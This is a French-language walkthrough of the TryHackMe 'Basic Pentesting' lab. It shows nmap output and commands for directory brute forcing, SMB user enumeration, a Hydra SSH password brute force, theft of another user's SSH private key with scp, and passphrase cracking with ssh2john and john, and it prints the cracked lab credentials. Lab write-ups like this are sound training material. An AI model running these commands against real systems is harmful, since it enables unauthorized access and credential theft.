basic pentesting

adresse ip de la cible: 10.10.60.204

résultat du nmap :
nmap -sC O -sV -sS -T4 -v 10.10.60.204

PORT   STATE SERVICE   VERSION
22/tcp   open ssh   OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 db:45:cb:be:4a:8b:71:f8:e9:31:42:ae:ff:f8:45:e4 (RSA)
| 256 09:b9:b9:1c:e0:bf:0e:1c:6f:7f:fe:8e:5f:20:1b:ce (ECDSA)
|_ 256 a5:68:2b:22:5f:98:4a:62:21:3d:a2:e2:c5:a9:f7:c2 (ED25519)
80/tcp   open http   Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.18 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
8009/tcp open ajp13   Apache Jserv (Protocol v1.3)
| ajp-methods:
|_ Supported methods: GET HEAD POST OPTIONS
8080/tcp open http   Apache Tomcat 9.0.7
|_http-favicon: Apache Tomcat
|_http-title: Apache Tomcat/9.0.7
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
Service Info: Host: BASIC2; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
| smb2-security-mode:
| 3:1:1:
|_   Message signing enabled but not required
|_clock-skew: mean: 1h39m59s, deviation: 2h53m12s, median: -1s
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
| Computer name: basic2
| NetBIOS computer name: BASIC2\x00
| Domain name: \x00
| FQDN: basic2
|_ System time: 2024-03-08T13:50:20-05:00
| smb2-time:
| date: 2024-03-08T18:50:20
|_ start_date: N/A
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| nbstat: NetBIOS name: BASIC2, NetBIOS user: <unknown>, NetBIOS MAC: <unknown>
(unknown)

basic pentesting

on passe au gobuster pour brute forcer l'url
gobuster dir -u http://10.10.60.204:80 -w /usr/share/wordlists/dirbuster/directory-list-1.0.txt

resultats
/development

vu que smb est ouvert utlison enum4linux pour voir si on peut trouver des utlisateurs
avec la commande
enum4linux IP
c'est à dire:
enum4linux 10.10.60.204

et on trouve :
kay et jan
mais c'est jan qu'on utlisera

apres on fait un hydra pour trouver le mot de passe :
hydra -l jan -P /usr/share/wordlists/rockyou.txt ssh://10.10.60.204

ou on aurrait pu faire mettre l'option -L pour specifier aussi le dictionnaire de username au lieu de -l si on ne connaissait pas l'utilisateur

Le mot de passe est donc :
armando

basic pentesting

et on se connecte avec **ssh jan@10.10.60.204**
et on lance **linEnum.sh** ou **linpeas** qui est mieux qu'on copie dans **/dev/shm** de la machine cible car elle est libre de dépôt
et on checke partout les elevations et onvoit que dans
/home/kay/.ssh/
on la clé rsa (**id_rsa**)
qu'on va copier chez nous avec:

scp jan@10.10.60.204:/home/kay/.ssh/id_rsa /home/kali/tryhackme/basicpentesting/idd.id_rsa

et on lui donne les permissions avec **chmod 600 idd.id_rsa** car c'est les permissions qu'ils acceptent

et on utilse ssh2john pour casser la transformer la cle rsa en format comprehensible par john the ripper
ssh2john /home/kali/tryhackme/basicpentesting/idd.id_rsa > /home/kali/tryhackme/basicpentesting/id_rsa.txt

et on utilise john sur lui
john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa.txt

et boom on trouve le passphrase:

beeswax

et on peut maintenant taper cette commande pour entrer et entre le passphrase
ssh -i idd.id_rsa kay@10.10.60.204

et **boommmmm!!**

on y est

et on **cat pass.bak**

fin! merci à moi même hahaha